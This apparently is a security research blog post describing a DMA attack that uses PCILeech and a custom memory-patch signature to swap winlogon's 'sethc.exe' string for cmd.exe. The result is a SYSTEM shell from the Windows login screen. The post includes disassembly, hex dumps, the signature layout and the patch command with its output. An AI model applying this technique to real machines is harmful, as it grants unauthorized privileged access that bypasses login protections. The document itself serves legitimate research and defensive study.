The current status of DMA Attacks
Inception by Carsten Maartmann-Moe, is a tool that can attack multiple DMA hardware, including Firewire, Thunderbolt, ExpressCard, PC-Card, and PCI/PCI-E interfaces.
This tool is capable of unlocking and elevating privileges on various platforms (Windows, Linux, Mac OS X) by patching memory sections.
However, the unlock command depends on the targeted system version, and signatures may vary.
PCILeech by Ulf Frisk is capable of dumping memory using the PCI-Express bus at high speed rates (> 150 MB/s) and beyond the 32-bit address range by injecting kernel modules.
Once the kernel module is successfully injected, it is possible to gain access to a SYSTEM shell, mount the remote file system and even more.
PCILeech has "signature" files that can unlock specific Windows version by patching DLL (msv1_0.dll for Windows Vista/8, NtlmShared.dll for Windows 10).
However, like Inception, kernel modules and signatures depends on the Windows version and some signature are missing. (Windows 7, 32-bit Windows versions, etc.)
Gaining SYSTEM shells on every modern Windows platforms
Since the current tools are relying on specific and OS dependent signatures to be successful, we have been looking for a quick and universal signature which could work on all Windows versions.
- PCILeech running on Linux
- FPGA + USB module
Tested targets :
- Windows 10 (Worked)
- Windows Server 2016 (Worked)
- Windows 7 (Worked)
- Windows Server 2008 R2 (Worked)
As you may be aware, an easy way to spawn a SYSTEM shell on the Windows login screen is to replace one of the binaries called by the winlogon.exe program.
Here is a non-exhaustive list of such binaries:
Knowing this, we performed a quick static analysis of the winlogon.exe binary, in order to discover how those programs are started.
We looked for references to the
CreateProcess Windows API function:
$ r2 -AAA winlogon.exe ... [0x1000108d8]> afl~CreateProcess 0x10000cc7c 9 87168 -> 250 sub.KERNEL32.dll_CreateProcessW_c7c 0x100032308 63 1257 sub.KERNEL32.dll_CreateProcessW_308
We then performed a quick disassembly of the
sub.KERNEL32.dll_CreateProcessW_308 function, and found references to the sethc.exe binary, the 'Sticky Key' utility, that can be invoked by press the SHIFT key 5 times:
[0x1000108d8]> pdf@sub.KERNEL32.dll_CreateProcessW_308 ... ``---> 0x10003246e 448bce mov r9d, esi | || 0x100032471 4c8d05785d01. lea r8, str.sethc.exe__ld ; 0x1000481f0 ; u"sethc.exe %ld" ---> format string passed to CreateProcessW | || 0x100032478 ba14000000 mov edx, 0x14 ; 20 | || 0x10003247d 488d8c240001. lea rcx, [rsp + 0x100] ; 256 | || 0x100032485 e88e20fdff call sub.msvcrt.dll__vsnwprintf_518 | || 0x10003248a 85c0 test eax, eax | ,===< 0x10003248c 0f89ed000000 jns 0x10003257f .... | |||```-> 0x10003257f c78424900000. mov dword [rsp + 0x90], 0x68 ; 'h' ; [0x68:4]=-1 ; 104 | ||| 0x10003258a 4489b424cc00. mov dword [rsp + 0xcc], r14d | ||| 0x100032592 664489b424d0. mov word [rsp + 0xd0], r14w | ||| 0x10003259b 488d0d961401. lea rcx, str.Winsta0_Winlogon ; 0x100043a38 ; u"Winsta0\\Winlogon" | ||| 0x1000325a2 488d05672401. lea rax, str.Winsta0_Default ; 0x100044a10 ; u"Winsta0\\Default" | ||| 0x1000325a9 833d04600200. cmp dword [0x1000585b4], 0 | ||| 0x1000325b0 480f45c1 cmovne rax, rcx | ||| 0x1000325b4 48898424a000. mov qword [rsp + 0xa0], rax | ||| 0x1000325bc 488d442468 lea rax, [rsp + 0x68] ; 'h' ; 104 | ||| 0x1000325c1 4889442448 mov qword [rsp + 0x48], rax | ||| 0x1000325c6 488d84249000. lea rax, [rsp + 0x90] ; 144 | ||| 0x1000325ce 4889442440 mov qword [rsp + 0x40], rax | ||| 0x1000325d3 488364243800 and qword [rsp + 0x38], 0 | ||| 0x1000325d9 488364243000 and qword [rsp + 0x30], 0 | ||| 0x1000325df c74424280404. mov dword [rsp + 0x28], 0x404 ; [0x404:4]=-1 ; 1028 | ||| 0x1000325e7 8364242000 and dword [rsp + 0x20], 0 | ||| 0x1000325ec 4533c9 xor r9d, r9d | ||| 0x1000325ef 4533c0 xor r8d, r8d | ||| 0x1000325f2 488d94240001. lea rdx, [rsp + 0x100] ; 256 | ||| 0x1000325fa 33c9 xor ecx, ecx | ||| 0x1000325fc ff15cee30000 call qword sym.imp.KERNEL32.dll_CreateProcessW ; [0x1000409d0:8]=0x78d41bb0 reloc.KERNEL32.dll_CreateProcessW_176
The format string sethc.exe %ld (moved in r8 at 0x100032471) looked interesting.
We searched for it in a winlogon process dump.
Analysis of the memory dump
While analyzing the core dump of a running winlogon process, we searched for the same format string.
On a Windows Server 2016, we found this string in the first 128MB of the process memory:
$ xxd winserver2016.dump | grep -i -A3 "s.e.t.h.c." 019406f0: 0900 7300 6500 7400 6800 6300 2e00 6500 ..s.e.t.h.c...e. 01940700: 7800 6500 6b00 4c00 aa20 0100 0000 0100 x.e.k.L.. ...... 01940710: 8000 6e00 0000 0000 830d 0000 0000 0100 ..n............. 01940720: 74ea f895 64df d101 74ea f895 64df d101 t...d...t...d... -- 01abe270: 7300 6500 7400 6800 6300 2e00 6500 7800 s.e.t.h.c...e.x. 01abe280: 6500 2000 2500 6c00 6400 0000 0000 0000 e. .%.l.d....... 01abe290: 7300 6500 7400 6800 6300 2e00 6500 7800 s.e.t.h.c...e.x. 01abe2a0: 6500 0000 0000 0000 4e00 6500 6700 6f00 e.......N.e.g.o.
Creating the PCILeech signature file
Creating a PCILeech signature was quite a simple task. The documentation can be found on the signature_info.txt file of the PCILeech project.
The goal of our patch signature was to find the sethc.exe %ld unicode string and replace it by the Windows command shell cmd.exe. This trick is similar to the popular privileges escalation method that consists in replacing the sethc.exe executable by cmd.exe. However, this method alters the system integrity and is not applicable to an encrypted environment.
Thus, our patch signature looked like this :
*means to search into each memory pages.
730065007400680063[SNIP]002E006500780065is the unicode string of sethc.exe %ld followed by sethc.exe to search.
-means that we don't have to look for another chunk.
r0is the relative offset where the patch should be applied.
3006D0064002E00650[SNIP]0078006500000000is the patch that will replace sethc.exe by cmd.exe.
Patching live memory
With the signature file at hand, we just needed to run the patch subcommand of pcileech:
# ./pcileech patch -sig spawn_shell -max 0x00000000DC000000 Current Action: Patching Access Mode: DMA (hardware only) Progress: 48 / 3520 (1%) Speed: 24 MB/s Address: 0x0000000003000000 Pages read: 12192 / 901120 (1%) Pages failed: 96 (0%) Patch: Successful. Location: 0x2028270
Here came trouble.
With our hardware (the USB3380 development board), only a limited amount of memory could be accessed (around 3500 MB).
In other words, the patch currently works only if the searched string is located in this memory area and has read/write permission on it.
If this is not the case, the remaining options are:
- Reducing the amount of physical memory on the target to 4 or even 2 GB: might not always be feasible in every scenario, but should increase the reliability ;
- Retrying the patch after rebooting the system, hoping that the process would be mapped in the expected memory area (not really an ideal solution, but worked during our experiments) ;
- Buy better hardware: Ulf Frisk recommends using the Xilinx SP605 FPGA development board, with the FTDI FT601 USB3 UMFT601X-B add-on board, which allows performing a full memory dump (no more limitation).
When the patch is successful, we get a SYSTEM shell by hitting five times the SHIFT key from the login screen.
- Test more targets (Windows Server 2012, Windows 8).
- Perform tests with the SP605 FPGA development board.
- Find similar methods on Linux/Mac OS X.
- Ronan KERVELLA <r.kervella -at- sysdream.com>
- Nicolas CHATELAIN <n.chatelain -at- sysdream.com>
- Ulf Frisk for his amazing tool (pcileech)
- Carsten Maartmann-Moe for the inception tool